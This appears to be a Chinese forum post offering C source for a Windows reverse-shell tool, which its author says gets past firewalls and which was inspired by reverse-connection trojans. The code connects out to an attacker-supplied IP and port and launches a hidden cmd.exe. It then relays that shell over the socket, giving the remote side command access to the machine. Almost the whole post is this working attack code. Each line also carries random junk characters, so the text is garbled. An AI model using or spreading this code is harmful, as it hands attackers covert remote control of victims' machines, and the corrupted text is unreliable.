这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 r2&{R!Fj`
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/* ============================== )(!vd!p5
Rebound port in Windows NT hR{Fn L
By wind,2006/7 }:hdAZ+z
===============================*/ u-k*[!JU
#include R6AZIN:
#include mfx'Yw*{
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#pragma comment(lib,"wsock32.lib") @ObsW!g
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void OutputShell(); fwl
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SOCKET sClient; Pel3e ~?t
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 7x1jpQ-
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void main(int argc,char **argv) V25u'.'v
{ IPT}JX'
WSADATA stWsaData; St(7@)gvY
int nRet; s}HTxY;
SOCKADDR_IN stSaiClient,stSaiServer; 8o4
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if(argc != 3) E26ZVFg
{ myJsRb5
printf("Useage:\n\rRebound DestIP DestPort\n"); fitm*
return; % l5J
} * |,V$
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WSAStartup(MAKEWORD(2,2),&stWsaData); {(aJrSE<z
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8"S0E(,mu
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stSaiClient.sin_family = AF_INET; ) I5f`r=Ry
stSaiClient.sin_port = htons(0); a{)"KA P
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ]7br*t^zv
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ?. ~@ lE
{ Kk/qd)nk
printf("Bind Socket Failed!\n"); hy6px
return; #FeM.k6
} Mv;7kC7]
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stSaiServer.sin_family = AF_INET; :z^c<KFX
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); $T*kpUXH}
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Y#rao:I
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) naAZR*(A
{ h7%<
printf("Connect Error!"); A).wjd(_,
return; 7qnw.7p
} Xt$?Kx_,
OutputShell(); ,':?3| $c
} O"{NHNG\oT
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void OutputShell() 2p'qp/
{ aFl(K\
char szBuff[1024]; ,>e<mphM
SECURITY_ATTRIBUTES stSecurityAttributes; &{7%VsTB
OSVERSIONINFO stOsversionInfo; W}T$ Z
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; [z Y9"B<3
STARTUPINFO stStartupInfo; (s\Nm_j
char *szShell; Lo !kv*
PROCESS_INFORMATION stProcessInformation; 7j@TW%FmV\
unsigned long lBytesRead; ThFI=K
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); aA\v
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ZgzrA&6
stSecurityAttributes.lpSecurityDescriptor = 0; *!B,|]wq=
stSecurityAttributes.bInheritHandle = TRUE; |qZ4h7wL
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); n.Ekpq\
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ,@GI3bl
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); =G*<WcR
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [,lBY-Kz+
stStartupInfo.wShowWindow = SW_HIDE; ! 5 ]/2
stStartupInfo.hStdInput = hReadPipe; ]Wfnpqc^
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; hGzj}t
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GetVersionEx(&stOsversionInfo); l$z-'
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switch(stOsversionInfo.dwPlatformId) a N_M
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case 1: .,feRK>3
szShell = "command.com"; &Tl3\T0D
break; ;B!&( 50e
default: z+Y0Zh";/#
szShell = "cmd.exe"; +AXui|mn
break; ]BX|G`CCc
} 7TlOF
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 3rOv j&2
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send(sClient,szMsg,77,0); ALPZc:
while(1) k`xPf\^tf
{ BK6oW3wD/
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); *\-6p0~A
if(lBytesRead) Lw2EA 5
{ dTS7l02
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); CSIW|R@
send(sClient,szBuff,lBytesRead,0); JrS|Ib)6
} 4fQ<A <2/
else $Z$BF
{ Br;1kQ%e C
lBytesRead=recv(sClient,szBuff,1024,0); T&cf6soo
if(lBytesRead<=0) break; k${25*M!3
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); O &;Cca
} ,D;d#fJ
} +>Y2luR1
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return; REc69Y.k
}